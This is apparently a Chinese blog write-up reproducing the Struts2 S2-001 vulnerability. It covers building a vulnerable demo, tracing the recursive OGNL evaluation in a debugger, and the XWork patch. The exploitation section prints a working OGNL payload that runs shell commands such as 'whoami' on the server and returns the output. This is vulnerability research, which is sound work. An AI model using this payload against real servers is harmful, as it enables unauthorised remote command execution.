0x00 前言
入门JAVA代码审计的第一篇文章,还是决定以漏洞之王struts2
下手,本篇即以学习为目的,复现分析S2-001
,虽然该漏洞已过去十多年,但是前前后后还是折腾了好几天。
0x01 环境搭建
官方给出的漏洞影响版本为WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8。
本例中使用struts-2.0.1版本进行复现分析。
工具选择使用了IDEA
,下面记录一下如何使用IDEA
创建第一个struts2项目。
IDEA需下载Ultimate
版本,Community
版本无法创建Java EE
工程。
首先New Project
创建Struts2
项目,Libraries
选择Set up library later
下一步之后填写项目名称即可创建起一个struts2 project
下载struts-2.0.1-all
在项目目录WEB-INF
下新建lib
文件夹,将所需要的jar包从下载目录中导入到lib
文件夹下
将全部jar包选中,右键Add as Library
填写一个Library Name
然后File->Project strutsure
然后在Modules
下选中struts2-001
之后再在Artifacts
如下图将struts2-001
put into output root,完成后点击OK.
之后按下图创建Tomcat server
在配置页面点击Fix
,其他默认即可。
至此即可看到一个struts2项目启动成功。
因为漏洞是在表单验证失败时发生的,这里继续编写一个表单验证的Demo,以复现漏洞。
在WEB
目录下修改index.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>Sign On</title>
</head>
<body>
<s:form action="Login">
<s:textfield label="username" name="username"/>
<s:textfield label="password" name="password" />
<s:submit/>
</s:form>
</body>
</html>
然后新建welcome.jsp
1
2
3
4
5
6
7
8
9
10
11
12<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
在src
下新建com.demo.action
package1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class Login extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
修改struts.xml
1
2
3
4
5
6
7
8
9
10
11
12
<struts>
<package name="s2" extends="struts-default">
<action name="Login" class="com.demo.action.Login">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
之后即可运行程序出现登陆Demo
0x02 代码分析
在分析之前还是看一下十多年前官方的描述
看到问题是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用
OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。
第一次分析JAVA代码,还是觉得无从下断分析,但是既然是OGNL表达式导致的问题,那么表达式必然会经过OGNL解析并返回结果,前辈们给出的分析思路便是在OGNL表达式原生API getValue
处下断点,该方法用于解析OGNL表达式并返回表达式的值。
下断后便可发送payload%{1+1}
,直到在断点处出现我们的payload,此时在调用栈中即可看到漏洞发生的整个过程。
然后便可以根据调用栈开始分析过程。
首先我们的payload是从index.jsp
输入的,这里需要了解的是jsp的本质也是一个Servlet,在执行jsp的时候tomcat会将其转化为java代码,比如这里index.jsp
被转化为index_jsp.java
。
之后struts便会调用ComponentTagSupport
类中doStartTag
doEndTag
方法对index_JSP.hava
中的struts标签进行处理。
上图可以看出,调用doEndTag
方法对标签时会调用this.component.end()
方法。
跟进之后在UIBean
类中end
方法中会继续调用同类下的evaluateParams
跟进evaluateParams
,该方法会对标签属性取得name之后判断是否开启altSyntax
功能,开启则会用%{}
将标签属性值名称包裹,用于使用OGNL表达式对其处理。1
altSyntax 功能是 Struts 2 框架用于处理标签内容的一种新语法(不同于普通的 HTML ),该功能主要作用在于支持对标签中的 OGNL 表达式进行解析并执行。该功能在struts2核心配置文件struts.properties中默认开启。
然后username经过上面处理之后,进入到该类下的getValue
方法查询表达式的值,继续跟进。
在该方法中调用TextParseUtil.translateVariables
。
之后调用了该类下的同名方法translateVariables
,对OGNL表达式进行了递归处理,从而使得我们的payload可以在递归处理时被OGNL表达式执行。
继续查看该方法,便可以看到使用了while(true)
对表达式进行了递归处理。
之后便对表达式去掉%{}
调用stack.findValue
即OgnlValueStack
类下的findValue
,并最终调用了Ognl的getValue
方法对表达式进行取值
在getValue
中可以看到取到了我们的payload
之后取得的值复制给o
并最终复制给expression
,继续在while循环中被处理。
最终在OGNL表达式中被处理,获得计算结果2
。
0x03 漏洞利用
POC1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
修改new java.lang.String[]{"whoami"}
即可执行任意命令
如需参数可这样利用new java.lang.String[]{"net","user"}
0x04 补丁分析
在XWork2.0.4
增加了loopCount判断以取消对OGNL的递归解析